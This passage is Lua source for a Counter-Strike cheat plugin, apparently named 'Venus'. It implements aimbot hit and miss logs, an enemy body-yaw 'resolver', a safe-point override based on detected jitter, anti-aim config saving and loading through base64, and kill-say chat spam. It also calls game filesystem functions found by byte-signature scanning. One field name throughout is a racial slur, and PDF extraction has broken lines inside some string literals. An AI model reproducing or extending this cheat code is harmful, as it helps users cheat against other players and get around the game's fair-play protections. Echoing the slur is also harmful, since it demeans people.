arm', 'left leg', 'right leg', 'neck', '?', 'gear'}
client_set_event_callback("aim_miss", function(ctx)

if #ui_get(menu["misc"].safe_point) > 0 then


if ctx ~= nil then
local hp_left = entity.get_prop(ctx.target, "m_iHealth")
miss_sp[#miss_sp + 1] =
{
nigga = ctx.target,
hp = hp_left,
}
end

end

if ctx.reason == "?" then


ctx.reason = "unknown"
end

if ui_get(menu["misc"].aim_logs) then
local color = string.format("\a%02X%02X
%02XFF",ui_get(menu["misc"].aim_logs_miss_color))

local w,h=client.screen_size()
aim_logs[#aim_logs+1]={
bullet_tick=globals_tickcount()*globals.tickinterval(),
start_position=h/2+100,
text=string.format("Missed ".. color .. "%s\affffffff in the " .. color
.. "%s\affffffff due to " .. color .. "%s\
affffffff.",entity.get_player_name(ctx.target),hitgroup_names[ctx.hitgroup+1],ctx.r
eason)
}
end

if table_contains(ui_get(menu["misc"].old_logs),"aim_miss") then
client.log(string.format("Missed %s in the %s due to
%s.",entity.get_player_name(ctx.target),hitgroup_names[ctx.hitgroup+1],ctx.reason))
local color = "\aF85454FF"
current_logs[#current_logs + 1 ] = {
text=string.format("Missed %s in the %s due to
%s.",entity.get_player_name(ctx.target),hitgroup_names[ctx.hitgroup+1],ctx.reason),
current_time = globals_tickcount()
}
end
end)

client_set_event_callback("aim_hit", function(ctx)

if ui_get(menu["misc"].aim_logs) then
local w,h=client.screen_size()
local color = "\a96E631FF"
aim_logs[#aim_logs+1]={
bullet_tick=globals_tickcount()*globals.tickinterval(),
start_position=h/2+100,
text=string.format("Hit " .. color .. "%s\affffffff in the " ..
color .. "%s\affffffff for " .. color .. "%s\
affffffff.",entity.get_player_name(ctx.target),hitgroup_names[ctx.hitgroup+1] ,ctx.
damage)
}
end

if table_contains(ui_get(menu["misc"].old_logs),"aim_hit") then
local color = string.format("\a%02X%02X
%02XFF",ui_get(menu["misc"].aim_logs_hit_color))
client.log(string.format("Hit %s in the %s for
%s.",entity.get_player_name(ctx.target),hitgroup_names[ctx.hitgroup+1] ,ctx.damage)
)
current_logs[#current_logs + 1 ] = {
text=string.format("Hit %s in the %s for
%s.",entity.get_player_name(ctx.target),hitgroup_names[ctx.hitgroup+1] ,ctx.damage)
,
current_time = globals_tickcount()
}
end
end)

client_set_event_callback("item_purchase", function(ctx)

if not table_contains(ui_get(menu["misc"].old_logs),"item_purchase") or
ctx.weapon == "weapon_unknown" then
return
end

if client.userid_to_entindex(ctx.userid) == entity_get_local_player() then


return
end

local x,y = string.find(ctx.weapon,"weapon_")


local x1,y1 = string.find(ctx.weapon,"item_")

ctx.weapon = string.sub(ctx.weapon,y == nil and y1+1 or y+1,#ctx.weapon)


--ctx.weapon:sub(x == nil and x1 or x,y == nil and y1 or y)

current_logs[#current_logs + 1 ] = {
text = string.format("%s purchased %s",
entity.get_player_name(client.userid_to_entindex(ctx.userid)),ctx.weapon),
current_time = globals_tickcount()
}
end)

local logs = {
three = {},
render_logs = function(self,text)
self.three[#self.three + 1] = {
render_text = text
}

renderer_text(5, (#self.three * 12) - 12 + 7, 220,220,220, 255, "", 0,


text)
end,
}

functions["visuals"].old_logs = function(w,h)

for i = 1,#current_logs do
logs:render_logs(current_logs[i].text,current_logs[i].current_time)

if #logs.three * 12 > h / 2 then


table.remove(current_logs,1)
break
end

if current_logs[i].current_time * globals.tickinterval() + 8 <


globals_tickcount() * globals.tickinterval() then
table.remove(current_logs,i)
break
end
end

end

local venus_svg = '<svg width="800" height="800" viewBox="0 0 36 36"


xmlns="http://www.w3.org/2000/svg" aria-hidden="true" class="iconify iconify--
twemoji" transform="scale(-1 1)"><path fill="#FFAC33" d="M16.61
17.589h5.278v1.056H16.61z"/><path fill="#FFAC33" d="M15.555 15.478a.526.526 0 0
0-.373.901c.845.844.845 2.631 0 3.476a.528.528 0 0 0 .746.746c1.254-1.253 1.254-
3.715 0-4.968a.526.526 0 0 0-.373-.155z"/><path fill="#77B255" d="M23.888 23.486h-
8.575c-1.873 0-3.261-.974-3.809-2.671l-2.405-6.601 2.114-.771 2.419
6.641c.255.788.8 1.151 1.681 1.151h8.575v2.251z"/><path fill="#3E721D" d="m35.205
11.222-1.962.609-1.306-4.21 1.962-.609a1.115 1.115 0 0 1 1.392.733l.647 2.084a1.116
1.116 0 0 1-.733 1.393z"/><path fill="#E95F28" d="M1.687
6.947h1.761v5.024H1.686c-.87 0-1.582-.712-1.582-1.582v-1.86c0-.87.712-1.582 1.583-
1.582z"/><path fill="#3E721D" d="M6.694 4.89c0 .923.748 1.671 1.671
1.671s2.727-.748 2.727-1.671-1.804-1.671-2.727-1.671-1.671.748-1.671 1.671z"/><path
fill="#5C913B" d="M4.869 12.905c0 1.166.945 2.111 2.659
2.111H22v-2.111H4.869z"/><path fill="#77B255" d="M35.279 29.382s-1.975-6.154-2.731-
8.768-1.006-4.614 1.077-6.147c1.135-.835 1.431-1.844 1.204-2.899-.377-1.752-1.284-
4.076-1.72-4.925-.189-.369-.486-.758-1.073-.928 0 0-3.915-1.737-15.24-1.737-6.333
0-14.215.957-14.215 3.265v3.612c0 1.23.997 2.227 2.227 2.227H18.51c.727 0 1.37.473
1.587 1.168l4.352 13.79v.001c.429 1.402-.915 1.633-.915 2.787a1.3 1.3 0 0 0 1.297
1.297h8.433a2.112 2.112 0 0 0 2.015-2.743z"/><path fill="#A6D388" d="M27.499
21.008a1 1 0 0 1-.967-.749c-1.357-5.237-4.091-8.438-8.354-9.786-6.075-1.921-
13.393-.323-13.466-.308a1 1 0 0 1-.438-1.952c.32-.072 7.909-1.733 14.506.352 4.905
1.55 8.165 5.316 9.688 11.191a1 1 0 0 1-.969 1.252z"/><circle fill="#F5F8FA"
cx="29.185" cy="10.67" r="3.305"/><circle fill="#FFCC4D" cx="29.185" cy="10.67"
r="2.292"/></svg>'
local load_venus_svg = renderer.load_svg(venus_svg, 25, 25)

functions["visuals"].aim_logs = function(w,h)

if not ui_get(menu["misc"].aim_logs) then

if #aim_logs > 0 then


aim_logs={}
end

return
end

for i=1,#aim_logs do

if aim_logs[i] == nil then


break
end

local aim = aim_logs[i]

aim.start_position = lerp(aim.start_position,h/2+100+
(i*30),globals.frametime()*15)

rounded_rectangle(w/2 - renderer_measure_text("c", aim.text) / 2 -


5,aim.start_position - 10,renderer_measure_text("c", aim.text) + 10,
18,24,24,24,255,1,10)

--renderer_text(w/2 - renderer_measure_text("c", aim.text) / 2 -


23,aim.start_position - 2,255,255,255,255,"cb",0,"V")
renderer_text(w/2,aim.start_position - 2,255,255,255,255,"c",0,aim.text)

if ui_get(menu["misc"].aim_logo) then
rounded_rectangle(w/2 - renderer_measure_text("c", aim.text) / 2 - 24 -
ui_get(menu["misc"].logo_slider),aim.start_position - 10,21, 18,24,24,24,255,1,10)
renderer_texture(load_venus_svg,w/2 - renderer_measure_text("c",
aim.text) / 2 - 20 - ui_get(menu["misc"].logo_slider),aim.start_position -
9,15,15,255,255,255,255,"f")
end

local current_ongoing_tick = globals_tickcount()*globals.tickinterval()


local text_timer = (aim.bullet_tick + 5) - current_ongoing_tick
local text_timer_percentage = text_timer / 5

if h/2+200+(i*30) > h - 100 then


table.remove(aim_logs,1)
break
end

if globals_tickcount()*globals.tickinterval() > aim.bullet_tick + 5 then


table.remove(aim_logs,i)
break
end
end
end

functions["visuals"].watermark = function(w,h)

if not ui_get(menu["visuals"].ot_watermark) then


return
end

local get_ping = math.floor(math.min(1000,client.latency() * 1000))

local watermark_text = string.format("%s | ping %s


ms",obex_data.username,get_ping)
rounded_rectangle(w - renderer.measure_text("c", watermark_text) -
12,10,renderer.measure_text("c", watermark_text) + 8, 17,24,24,24,255,1,10)
renderer_text(w - renderer.measure_text("c", watermark_text) / 2 -
8,17,255,255,255,255,"c",0,watermark_text)

if ui_get(menu["visuals"].watermark_logo) then
rounded_rectangle(w - renderer.measure_text("c", watermark_text) - 48 -
ui_get(menu["visuals"].watermark_spacing),10,40, 17,24,24,24,255,1,10)
renderer_text(w - renderer.measure_text("c", watermark_text) - 28 -
ui_get(menu["visuals"].watermark_spacing),17,255,255,255,255,"cb",0,"\a80CC23ffV\
affffffffenus")
end
end

local function clamp(value, minValue, maxValue)


if value < minValue then
return minValue
end

if value > maxValue then


return maxValue
end

return value
end
local rgba_to_hex = function(b, c, d, e)
return string.format('%02x%02x%02x%02x', b, c, d, e)
end

local function text_fade_animation(x, y, speed, color1, color2, text)


local final_text = ''
local curtime = globals.curtime()
for i = 0, #text do
local x = i * 10
local wave = math.cos(2 * speed * curtime / 4 + x / 50)
local color = rgba_to_hex(
lerp(color1.r, color2.r, clamp(wave, 0, 1)),
lerp(color1.g, color2.g, clamp(wave, 0, 1)),
lerp(color1.b, color2.b, clamp(wave, 0, 1)),
color1.a
)
final_text = final_text .. '\a' .. color .. text:sub(i, i)
end

renderer_text(x, y, color1.r, color1.g, color1.b, color1.a, nil, nil,


final_text)
end

functions["misc"].sunset = function()
local sun_prop = entity.get_all('CCascadeLight')[1]

if ui_get(menu["misc"].sunset_mode) and functions["misc"].sunset_active ==


false then
functions["misc"].old_sun = vector(entity_get_prop(sun_prop,
"m_envLightShadowDirection"))
entity.set_prop(sun_prop,"m_envLightShadowDirection",0,0,0)
functions["misc"].sunset_active = true
elseif not ui_get(menu["misc"].sunset_mode) then
if functions["misc"].sunset_active == true then

entity.set_prop(sun_prop,"m_envLightShadowDirection",functions["misc"].old_sun.x,fu
nctions["misc"].old_sun.y,functions["misc"].old_sun.z)
functions["misc"].sunset_active = false
end
end

end

local all_players = {}
local get_bots_players = function()

for k,v in ipairs(entity.get_players(true)) do


table.insert(all_players,{index=v,old_pos=0,timeframe=entity.get_prop(v,
"m_flSimulationTime") / globals.tickinterval(),wjitter=false,sjitter=false,loop=0})

local was_found = true


local times_found = 0
for i,n in ipairs(all_players) do
if entity.get_player_name(n.index) ==
entity.get_player_name(entity_get_local_player()) then
table.remove(all_players,i)
break
end

if n.index == v then
times_found = times_found + 1
was_found = false
if times_found >= 2 then
was_found = true
table.remove(all_players,i)
break
end
else
was_found = false
end
end
end
end

client.register_esp_flag("FS",255,255,255, function(ent)
if plist.get(ent,"Override safe point") == "On" then return "FS" end
end)

functions["misc"].safe_point = function()

if #ui.get(menu["misc"].safe_point) > 0 then


for i,n in ipairs(all_players) do
local amount_of_shots = 0
local hp_shot = 0

if not entity.is_alive(n.index) then table.remove(all_players,i) break


end

if table_contains(ui.get(menu["misc"].safe_point),"Default") or
table_contains(ui.get(menu["misc"].safe_point),"Lethal") then
for k,v in ipairs(miss_sp) do
if v.nigga == nil or n.index == nil or v == nil then
table.remove(miss_sp,k)
break
end

if v.nigga == entity_get_local_player() then break end

if v.nigga == n.index then

if v.hp ~= nil and v.hp <= 50 and


table_contains(ui.get(menu["misc"].safe_point),"Lethal") then
hp_shot = hp_shot + 1
end

if
table_contains(ui.get(menu["misc"].safe_point),"Default") == true then
amount_of_shots = amount_of_shots + 1
end
end

if entity.get_prop(v.nigga,"m_iHealth") <= 0 then


table.remove(miss_sp,k)
break
end
end
end

local eyes = vector(entity.get_prop(n.index,"m_angEyeAngles"))

local mathed = math.floor(eyes.y) - math.floor(n.old_pos)

if mathed == 0 then
n.loop = n.loop + 1

if n.loop > 4 then


n.wjitter = false
n.sjitter = false
n.loop = 0
end
else
n.loop = 0
end

if mathed > 180 or mathed < -180 then


local true_math = 0

if mathed > 0 then


true_math = 199 - mathed
else
true_math = -199 - mathed
end

if true_math > 80 or true_math < -80 and mathed ~= 0 then


n.sjitter = true

elseif (true_math <= 80 or true_math >= -80 and true_math <= -1)
and mathed ~= 0 then
n.wjitter = true
n.sjitter = false
end
elseif mathed < 180 or mathed > -180 then
if mathed >= 80 or mathed <= -80 then
n.wjitter = true
n.sjitter = false
elseif (mathed < 80 or mathed > -80 and mathed <= -1) and mathed ~=
0 then
n.sjitter = true

end

elseif (mathed == 0 and n.wjitter == true) or (mathed == 0 and


n.sjitter == true) then
n.wjitter = true
n.sjitter = true
end

local is_wide_jitter_maybe = false


local velocity = vector(entity.get_prop(n.index,"m_vecVelocity"))
local on_ground = bit.band(entity.get_prop(n.index, "m_fFlags"), 1) ==
1

if (hp_shot >= 1 and


table_contains(ui.get(menu["misc"].safe_point),"Lethal") ) or
(amount_of_shots >= 2 and
table_contains(ui.get(menu["misc"].safe_point),"Default")) or
(velocity:length2d() < 2 and on_ground and
table_contains(ui.get(menu["misc"].safe_point),"Standing")) or
(n.wjitter == true and (not on_ground or velocity:length2d() > 3 and
entity.get_prop(n.index,"m_flDuckAmount") <= 0 and on_ground) and
table_contains(ui.get(menu["misc"].safe_point),"Wide jitter"))
or (n.sjitter == true and (not on_ground or velocity:length2d() > 3 and
entity.get_prop(n.index,"m_flDuckAmount") <= 0 and on_ground) and
table_contains(ui.get(menu["misc"].safe_point),"Small jitter")) then
plist.set(n.index, "Override safe point", "On")
else
plist.set(n.index, "Override safe point", "-")
end

local tempo = entity.get_prop(n.index, "m_flSimulationTime") /


globals.tickinterval()

if mathed == 0 then
end

if n.timeframe < tempo then


n.timeframe = tempo

n.old_pos = eyes.y
end

end
end
end

local resolver_status = false


functions["misc"].resolver = function()

if ui_get(menu["misc"].resolver) then

resolver_status = true
for k,_v in ipairs(entity.get_players(true)) do
local bbox = { entity.get_bounding_box(_v) }

local player_index = ent_lib.new(_v)

local possible_desync = math.floor(math.min(60, (entity_get_prop(_v,


"m_flPoseParameter", 11) * 120 - 60)))
local m_angEyeAngles = { entity_get_prop(_v,"m_angEyeAngles") }
local on_ground = bit.band(entity_get_prop(_v, "m_fFlags"), 1) == 1

--local current_angle = "R"


--renderer_text(bbox[3] + 2,bbox[2]+(bbox[4] -
bbox[2])/2+14,255,255,255,255,nil,0,player_index:get_anim_overlay(6).cycle)
--renderer_text(bbox[3] + 2,bbox[2]+(bbox[4] - bbox[2])/2 +
14,255,255,255,255,nil,0,player_index:get_anim_state().current_feet_yaw)

--[[ if player_index:get_anim_state().current_feet_yaw > 0 and


player_index:get_anim_state().current_feet_yaw < 180 then
current_angle = "R"
elseif player_index:get_anim_state().current_feet_yaw > 180 and
player_index:get_anim_state().current_feet_yaw < 359 then
current_angle = "L"
elseif player_index:get_anim_state().current_feet_yaw == 0 or
player_index:get_anim_state().current_feet_yaw == 360 then
current_angle = "F"
else
current_angle = "B"
end]]--

if math.floor(math.max(-60,math.min(60,m_angEyeAngles[2]-
player_index:get_anim_state().current_feet_yaw))) < possible_desync + 1 and
math.floor(math.max(-60,math.min(60,m_angEyeAngles[2]-
player_index:get_anim_state().current_feet_yaw))) > possible_desync - 1 then
plist.set(_v, "Force body yaw", false)
break
end

local math_resolver = math.floor(math.max(-


60,math.min(60,m_angEyeAngles[2]-player_index:get_anim_state().current_feet_yaw)) )

if ui.is_menu_open() then
plist.set(_v, "Force body yaw", false)
plist.set(_v, "Force body yaw value",0)
break
end

local pl_velocity = vector(entity_get_prop(_v, "m_vecVelocity"))


if pl_velocity:length2d() < 2 then
plist.set(_v, "Force body yaw", false)
break
elseif not on_ground then
math_resolver = math_resolver / 2
elseif player_index:get_anim_state().duck_amount > 0.5 then
math_resolver = math_resolver / 2
elseif math_resolver == 60 or math_resolver == -60 then
plist.set(_v, "Force body yaw", false)
break
end

plist.set(_v, "Force body yaw", true)


plist.set(_v, "Force body yaw value",math_resolver)

end
else
if resolver_status == true then

for i = 1, globals.maxplayers() do
if entity_get_classname(i) == 'CCSPlayer' then

if entity_get_prop(i,"m_iTeamNum") ~=
entity_get_prop(entity_get_local_player(),"m_iTeamNum") then
plist.set(i, "Force body yaw", false)
plist.set(i, "Force body yaw value",0)
end
end
end

resolver_status = false
end
end
end

client_set_event_callback("player_death", function(ctx)
if client.userid_to_entindex(ctx.userid) ~= entity_get_local_player() and
client.userid_to_entindex(ctx.attacker) == entity_get_local_player() and
ui_get(menu["misc"].kill_say) ~= "Off" then
client.exec("say " ..
functions["misc"].kill_say[ui_get(menu["misc"].kill_say)][client.random_int(1,
#functions["misc"].kill_say[ui_get(menu["misc"].kill_say)])])
end
end)

local function str_to_sub(input, sep)


local t = {}
for str in string.gmatch(input, "([^"..sep.."]+)") do
t[#t + 1] = string.gsub(str, "\n", "")
end
return t
end

local function to_boolean(str)


if str == "true" or str == "false" then
return (str == "true")
else
return str
end
end

ui_menu.main = ui.new_button(tab, container, "- Main -", function()


ui_menu.selected_tab = ui_menu.easier_tab.main
end)

local filesystem = {}
local a = { { 'remove_search_path', '\x55\x8B\xEC\x81\xEC\xCC\xCC\xCC\xCC\x8B\x55\
x08\x53\x8B\xD9', 'void(__thiscall*)(void*, const char*, const char*)' },
{ 'remove_file', '\x55\x8B\xEC\x81\xEC\xCC\xCC\xCC\xCC\x8D\x85\xCC\xCC\xCC\xCC\x56\
x50\x8D\x45\x0C', 'void(__thiscall*)(void*, const char*, const char*)' },
{ 'find_next', '\x55\x8B\xEC\x83\xEC\x0C\x53\x8B\xD9\x8B\x0D\xCC\xCC\xCC\xCC',
'const char*(__thiscall*)(void*, int)' }, { 'find_is_directory', '\x55\x8B\xEC\x0F\
xB7\x45\x08', 'bool(__thiscall*)(void*, int)' }, { 'find_close', '\x55\x8B\xEC\x53\
x8B\x5D\x08\x85', 'void(__thiscall*)(void*, int)' }, { 'find_first', '\x55\x8B\xEC\
x6A\x00\xFF\x75\x10\xFF\x75\x0C\xFF\x75\x08\xE8\xCC\xCC\xCC\xCC\x5D', 'const
char*(__thiscall*)(void*, const char*, const char*, int*)' },
{ 'get_current_directory', '\x55\x8B\xEC\x56\x8B\x75\x08\x56\xFF\x75\x0C',
'bool(__thiscall*)(void*, char*, int)' } }
local function c(d, e, f, g)
local h = client.create_interface(d, e) or error("invalid interface", 2)
local i = client.find_signature(d, f) or error("invalid signature", 2)
local j, k = pcall(ffi.typeof, g)
if not j then
error(k, 2)
end ;
local l = ffi.cast(k, i) or error("invalid typecast", 2)
return function(...)
return l(h, ...)
end
end;
for m = 1, #a do
local n = a[m]
filesystem[n[1]] = c('filesystem_stdio.dll', 'VFileSystem017', n[2], n[3])
end

local add_to_searchpath = vtable_bind("filesystem_stdio.dll", "VFileSystem017",


11, "void(__thiscall*)(void*, const char*, const char*, int)");

local oldLength = -1;


local searchpath_key = "SAM_SOUND_BOARD";
local gamePath = ffi.typeof("char[128]")();
filesystem.get_current_directory(gamePath, ffi.sizeof(gamePath))
local soundPath = string.format('%s', ffi.string(gamePath))
add_to_searchpath(soundPath, searchpath_key, 0);
found = false
local function get_configs()
local found_files, fileHandle = {}, ffi.typeof("int[1]")()
local fileNamePtr = filesystem.find_first("*", searchpath_key, fileHandle);

while (fileNamePtr ~= nil) do


local fileName = ffi.string(fileNamePtr)
if (not filesystem.find_is_directory(fileHandle[0]) and
fileName:find('_gs.txt')) then
found_files[#found_files + 1] = fileName;
end
fileNamePtr = filesystem.find_next(fileHandle[0]);
end

filesystem.find_close(fileHandle[0]);
return found_files
end

local config_texiste = ui_new_label(tab,container, "Config system")

local sounds = ui.new_listbox(tab,container, "config_board", "...")

local new_text = ui.new_textbox(tab,container,"config box")

local function update_cfg()

if ui_menu.selected_tab == ui_menu.easier_tab.config and ui.is_menu_open() then


local newSounds = get_configs()
local new = {}
for i = 1, #newSounds do
new[i] = newSounds[i]:gsub('_gs.txt', '')
end
return new;
end
end

writefile("default
config_gs.txt","dHJ1ZXx0cnVlfEN1c3RvbXw4NnxBdCB0YXJnZXRzfDE4MHxmYWxzZXwxfDB8MHxDZW5
0ZXJ8NzB8Sml0dGVyfDF8ZmFsc2V8ZmFsc2V8MnxmYWxzZXxSYW5kb218MHxTa2l0dGVyfDEwOHx0cnVlfH
RydWV8Q3VzdG9tfDYyfExvY2FsIHZpZXd8MHxDZW50ZXJ8Mzh8Sml0dGVyfDF8ZmFsc2V8ZmFsc2V8MnxmY
WxzZXxPZmZ8MHxPZmZ8MHx0cnVlfHRydWV8Q3VzdG9tfDg2fEF0IHRhcmdldHN8MTgwfGZhbHNlfDV8MzN8
N3xTbG93IGppdHRlcnwtMzB8T3B0aW1pemVkIHNsb3d8MXxmYWxzZXxmYWxzZXwyfGZhbHNlfE9mZnwwfE9
mZnwwfHRydWV8dHJ1ZXxNaW5pbWFsfDg1fEF0IHRhcmdldHN8MTgwfGZhbHNlfDZ8NDB8LTN8U2xvdyBqaX
R0ZXJ8LTI4fFlhd1YyfDB8dHJ1ZXxmYWxzZXwyfGZhbHNlfEN1c3RvbXwtODl8U3Bpbnw2MHx0cnVlfHRyd
WV8TWluaW1hbHwwfEF0IHRhcmdldHN8MTgwfGZhbHNlfDF8MHwxNnxDZW50ZXJ8NjJ8Sml0dGVyfDExNXxm
YWxzZXxmYWxzZXwyfGZhbHNlfE9mZnwwfE9mZnwwfHRydWV8dHJ1ZXxNaW5pbWFsfDg5fEF0IHRhcmdldHN
8MTgwfGZhbHNlfDF8MHwwfENlbnRlcnw1N3xKaXR0ZXJ8MTE1fGZhbHNlfGZhbHNlfDJ8ZmFsc2V8T2ZmfD
B8T2ZmfDB8dHJ1ZXx0cnVlfE1pbmltYWx8MHxBdCB0YXJnZXRzfDE4MHxmYWxzZXwxfDB8MHxDZW50ZXJ8M
HxPcHRpbWl6ZWQgc2xvd3wwfGZhbHNlfGZhbHNlfDJ8ZmFsc2V8T2ZmfDB8T2ZmfDB8dHJ1ZXx0cnVlfE1p
bmltYWx8ODl8QXQgdGFyZ2V0c3wxODB8ZmFsc2V8NXw0Nnw5fFNsb3cgaml0dGVyfC00NXxZYXdWMnwxMTV
8ZmFsc2V8dHJ1ZXwyfGZhbHNlfFJhbmRvbXwtNjR8U3BpbnwyNXx0cnVlfHRydWV8TWluaW1hbHw4OXxBdC
B0YXJnZXRzfDE4MHxmYWxzZXw1fDM0fDB8U2xvdyBqaXR0ZXJ8LTMzfFlhd1YyfC0xMTV8ZmFsc2V8dHJ1Z
XwyfGZhbHNlfFJhbmRvbXwtNjV8U3BpbnwyOXxmYWxzZXx0cnVlfE9mZnwwfExvY2FsIHZpZXd8T2ZmfGZh
bHNlfDF8MHwwfE9mZnwwfE9mZnwwfGZhbHNlfGZhbHNlfDJ8ZmFsc2V8T2ZmfDB8T2ZmfDB8dHJ1ZXx0cnV
lfE1pbmltYWx8ODl8QXQgdGFyZ2V0c3wxODB8ZmFsc2V8MXwwfDB8T2ZmfDB8U3RhdGljfC0xMTV8ZmFsc2
V8ZmFsc2V8MnxmYWxzZXxPZmZ8MHxPZmZ8MHxmYWxzZXx0cnVlfE9mZnwwfExvY2FsIHZpZXd8T2ZmfGZhb
HNlfDF8MHwwfE9mZnwwfE9mZnwwfGZhbHNlfGZhbHNlfDJ8ZmFsc2V8T2ZmfDB8T2ZmfDB8")

local create_file = ui.new_button(tab,container, "Create config", function()


writefile(tostring(ui_get(new_text) .. "_gs.txt"),"paste config in file")
end)

local remove_file = ui.new_button(tab, container, "Delete config", function()


filesystem.remove_file(soundPath .. '/' .. get_configs()[ui_get(sounds) +
1],get_configs()[ui_get(sounds) + 1]);
end)

local save_file_cfg = ui.new_button(tab,container, "Save config", function()

print("Config saved!")

local str = ""

for k,v in ipairs(menu["anti-aim"].anti_aim_states) do

str = str
.. tostring(ui_get(menu["anti-aim"].builder[v].enable)) .. "|"
.. tostring(ui_get(menu["anti-aim"].anti_backstab)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].pitch)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].pitch_custom)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].yaw_base)) .. "|"
if v ~= "Manual" then
str = str .. tostring(ui_get(menu["anti-aim"].builder[v].yaw)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].random_flick)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].delay_custom)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].yaw_jitter2)) .. "|"
end
str = str .. tostring(ui_get(menu["anti-
aim"].builder[v].yaw_custom)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].yaw_jitter)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].yaw_jitter_custom)) ..
"|"
.. tostring(ui_get(menu["anti-aim"].builder[v].body_yaw)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].body_yaw_custom)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_enable)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_force)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_tick_stopper)) ..
"|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_choke)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_pitch)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_pitch_custom)) ..
"|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_yaw)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_yaw_custom)) ..
"|"
end

clipboard.set(base64.encode(str,'base64'))
database.write("current_clip_board_to_save",base64.encode(str, 'base64'))
read_data = database.read("current_clip_board_to_save")
writefile(get_configs()[ui_get(sounds) + 1],read_data)
end)

local load_cfg = ui.new_button(tab,container, "Load config", function()

print("Config loaded!")

local tbl = str_to_sub(base64.decode(readfile(get_configs()[ui_get(sounds) +


1]), 'base64'), "|")
local crescente = 1

for k,v in ipairs(menu["anti-aim"].anti_aim_states) do

ui_set(menu["anti-aim"].builder[v].enable, to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].anti_backstab, to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].pitch, tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].pitch_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].yaw_base, tostring(tbl[crescente]))
crescente = crescente + 1

if v ~= "Manual" then
ui_set(menu["anti-aim"].builder[v].yaw, tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].random_flick,
to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].delay_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].yaw_jitter2,
tonumber(tbl[crescente]))
crescente = crescente + 1
end

ui_set(menu["anti-aim"].builder[v].yaw_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].yaw_jitter,
tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].yaw_jitter_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].body_yaw, tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].body_yaw_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_enable,
to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_force,
to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_tick_stopper,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_choke,
to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_pitch,
tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_pitch_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_yaw, tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_yaw_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
end

end)

local export_file = ui.new_button(tab,container, "Export", function()

print("Config exported!")

local str = ""

for k,v in ipairs(menu["anti-aim"].anti_aim_states) do


str = str
.. tostring(ui_get(menu["anti-aim"].builder[v].enable)) .. "|"
.. tostring(ui_get(menu["anti-aim"].anti_backstab)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].pitch)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].pitch_custom)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].yaw_base)) .. "|"
if v ~= "Manual" then
str = str .. tostring(ui_get(menu["anti-aim"].builder[v].yaw)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].random_flick)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].delay_custom)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].yaw_jitter2)) .. "|"
end

str = str .. tostring(ui_get(menu["anti-


aim"].builder[v].yaw_custom)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].yaw_jitter)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].yaw_jitter_custom)) ..
"|"
.. tostring(ui_get(menu["anti-aim"].builder[v].body_yaw)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].body_yaw_custom)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_enable)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_force)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_tick_stopper)) ..
"|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_choke)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_pitch)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_pitch_custom)) ..
"|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_yaw)) .. "|"
.. tostring(ui_get(menu["anti-aim"].builder[v].defensive_yaw_custom)) ..
"|"
end

clipboard.set(base64.encode(str,'base64'))
end)

